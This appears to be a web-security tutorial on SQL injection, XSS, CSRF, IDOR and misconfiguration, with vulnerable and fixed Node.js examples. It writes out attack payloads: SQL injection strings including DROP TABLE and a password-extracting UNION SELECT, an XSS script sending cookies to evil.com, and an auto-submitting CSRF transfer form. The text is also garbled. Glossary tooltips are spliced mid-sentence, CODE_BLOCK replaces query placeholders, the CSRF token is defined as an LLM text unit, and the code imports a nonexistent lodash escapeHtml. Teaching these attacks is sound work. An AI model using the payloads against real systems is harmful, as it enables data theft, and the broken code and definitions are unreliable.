Web applications are attacked in predictable ways. Attackers don't usually find exotic zero-days, they look for the same handful of mistakes developers make all the time: unescaped output, raw SQLWhat is sql?A language for querying and managing data in relational databases, letting you insert, read, update, and delete rows across tables. concatenation, missing ownership checks. Knowing these patterns lets you recognize and fix them automatically.
Think of this lesson as learning the classic chess openings. Once you know the patterns, you spot the threat the moment it appears.
SQL injectionWhat is sql injection?An attack where user input is inserted directly into a database query, letting the attacker read, modify, or delete data. Parameterized queries prevent it.
How the attack works
When you build a SQLWhat is sql?A language for querying and managing data in relational databases, letting you insert, read, update, and delete rows across tables. query by concatenating user-supplied strings, an attacker can break out of the string context and write their own SQL. A classic example:
// Vulnerable - never do this
const query = `SELECT * FROM users WHERE email = '${email}'`;
await db.query(query);
// If email is: ' OR '1'='1
// The query becomes:
// SELECT * FROM users WHERE email = '' OR '1'='1'
// This returns every row in the tableMore destructive payloads: '; DROP TABLE users; -- deletes your entire users table. ' UNION SELECT password FROM admins -- extracts data from other tables.
Prevention: parameterized queries
Parameterized queries send the SQL and the data separately, the database driver handles quoting, so injection is structurally impossible:
// PostgreSQL with pg
const result = await db.query(
'SELECT * FROM users WHERE email = CODE_BLOCK',
[email]
);
// Prisma (ORM handles it automatically)
const user = await prisma.user.findFirst({
where: { email }
});
// Sequelize (also safe by default)
const user = await User.findOne({ where: { email } });CALLOUT placeholders, never template literals.Cross-site scriptingWhat is xss?Cross-Site Scripting - an attack where malicious JavaScript is injected into a web page and runs in other users' browsers, stealing data or hijacking sessions. (XSS)
Types of XSS
XSS lets an attacker inject JavaScript into your page that runs in other users' browsers. There are three variants:
| Type | How it works | Example |
|---|---|---|
| Stored XSS | Malicious script saved in the database | A "name" field containing <script> tags |
| Reflected XSS | Script in the URL, immediately reflected in the response | /search?q=<script>... |
| DOM-based XSS | Client-side JS writes attacker content to the DOM | innerHTML = location.hash |
What attackers do with XSS
// Vulnerable server-side template
app.get('/profile', (req, res) => {
res.send(`<h1>${req.query.name}</h1>`);
// Visiting /profile?name=<script>document.location='evil.com?c='+document.cookie</script>
// Steals the user's cookies
});Prevention
Modern frameworks like React escape output by default:
// Safe - React escapes {name} before rendering it
function Profile({ name }) {
return <h1>{name}</h1>;
}
// Dangerous - bypasses React's escaping
function Risky({ html }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}For server-rendered HTML, escape manually:
import { escapeHtml } from 'lodash';
const safeName = escapeHtml(userInput);
// <script> becomes <script>Add a Content Security PolicyWhat is content security policy?An HTTP header that tells the browser which sources of scripts, styles, and other resources are allowed to load on your page, blocking unauthorized code. as a second line of defense:
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"], // Blocks inline scripts entirely
styleSrc: ["'self'"]
}
}));Cross-site request forgeryWhat is csrf?Cross-Site Request Forgery - an attack where a malicious website tricks your browser into sending a request to another site where you're logged in. (CSRF)
How the attack works
CSRF exploits the fact that browsers attach cookies to every request, even cross-originWhat is origin?The combination of protocol, domain, and port that defines a security boundary in the browser, like https://example.com:443. ones. An attacker hosts a page that auto-submits a form to your APIWhat is api?A set of rules that lets one program talk to another, usually over the internet, by sending requests and getting responses.:
<!-- On attacker.com -->
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker_account">
<input type="hidden" name="amount" value="5000">
</form>
<script>document.forms[0].submit();</script>If the user is logged into bank.com, their sessionWhat is session?A server-side record that tracks a logged-in user. The browser holds only a session ID in a cookie, and the server looks up the full data on each request. cookieWhat is cookie?A small piece of data the browser stores and automatically sends with every request to the matching server, often used for sessions. is attached and the transfer goes through.
Prevention
The cleanest modern solution is SameSite: Lax cookies, the browser simply won't attach them to cross-origin POST requests:
res.cookie('session', token, { sameSite: 'lax' });For older browser support or situations where you need SameSite: None, add a CSRF tokenWhat is token?The smallest unit of text an LLM processes - roughly three-quarters of a word. API pricing is based on how many tokens you use. to every state-changing request:
import csrf from 'csurf';
app.use(csrf({ cookie: true }));
app.get('/transfer', (req, res) => {
res.render('transfer', { csrfToken: req.csrfToken() });
});
// Form: <input type="hidden" name="_csrf" value="{{csrfToken}}">Insecure direct object references (IDORWhat is idor?Insecure Direct Object Reference - a vulnerability where an API lets any logged-in user access any resource by simply changing the ID in the URL.)
The vulnerability
IDOR happens when you use a user-supplied ID to fetch a resource without checking whether that user is allowed to see it:
// Vulnerable - any authenticated user can fetch any invoice
app.get('/api/invoices/:id', requireAuth, async (req, res) => {
const invoice = await db.getInvoice(req.params.id);
res.json(invoice); // Returns invoice even if it belongs to someone else
});An attacker just needs to iterate IDs: /api/invoices/1, /api/invoices/2, etc.
// Fixed - verify ownership on every request
app.get('/api/invoices/:id', requireAuth, async (req, res) => {
const invoice = await db.getInvoice(req.params.id);
if (!invoice) {
return res.status(404).json({ error: 'Not found' });
}
if (invoice.userId !== req.user.id && req.user.role !== 'admin') {
return res.status(403).json({ error: 'Access denied' });
}
res.json(invoice);
});404 instead of 403 for unauthorized resources is a security technique called "security through obscurity", it prevents an attacker from even knowing the resource exists. Whether to use this depends on your threat model.Security misconfiguration
Common mistakes
Security misconfiguration is the most common vulnerability in production systems because it doesn't require writing bad code, just forgetting to change defaults:
// Leaking stack traces in error responses
// Before (bad):
app.use((err, req, res, next) => {
res.status(500).json({ error: err.stack }); // Full stack trace to the client
});
// After (good):
app.use((err, req, res, next) => {
console.error(err); // Log internally
res.status(500).json({
error: process.env.NODE_ENV === 'production'
? 'Internal server error'
: err.message
});
});Keep secrets out of your code entirely, use environment variables and never commitWhat is commit?A permanent snapshot of your staged changes saved in Git's history, identified by a unique hash and accompanied by a message describing what changed. .env files:
// Never hardcode credentials
const secret = process.env.JWT_SECRET; // Good
const secret = 'my-secret-key-123'; // Never do thisOWASPWhat is owasp?Open Web Application Security Project - an organization that maintains a widely used list of the most critical web security risks. Top 10 (2021)
The OWASP Top 10 is the authoritative list of the most critical web application security risks:
| Rank | Category | Description |
|---|---|---|
| 1 | Broken access control | IDOR, privilege escalation, missing auth checks |
| 2 | Cryptographic failures | Weak ciphers, unencrypted sensitive data |
| 3 | Injection | SQL, NoSQL, command injection |
| 4 | Insecure design | Missing security controls in architecture |
| 5 | Security misconfiguration | Default credentials, verbose errors, open ports |
| 6 | Vulnerable components | Outdated dependencies with known CVEs |
| 7 | Auth failures | Weak passwords, insecure session management |
| 8 | Data integrity failures | Insecure deserialization, unsigned packages |
| 9 | Logging failures | No audit trail, missing anomaly detection |
| 10 | SSRF | Server tricks into fetching attacker-controlled URLs |
Quick reference
// SQL injection - use parameterized queries
await db.query('SELECT * FROM users WHERE id = CODE_BLOCK', [id]);
// XSS - escape output or use a framework that does it for you
const safe = escapeHtml(userInput);
// CSRF - SameSite cookies or token validation
res.cookie('token', value, { sameSite: 'lax' });
// IDOR - always check ownership
if (resource.userId !== req.user.id) {
return res.status(403).json({ error: 'Forbidden' });
}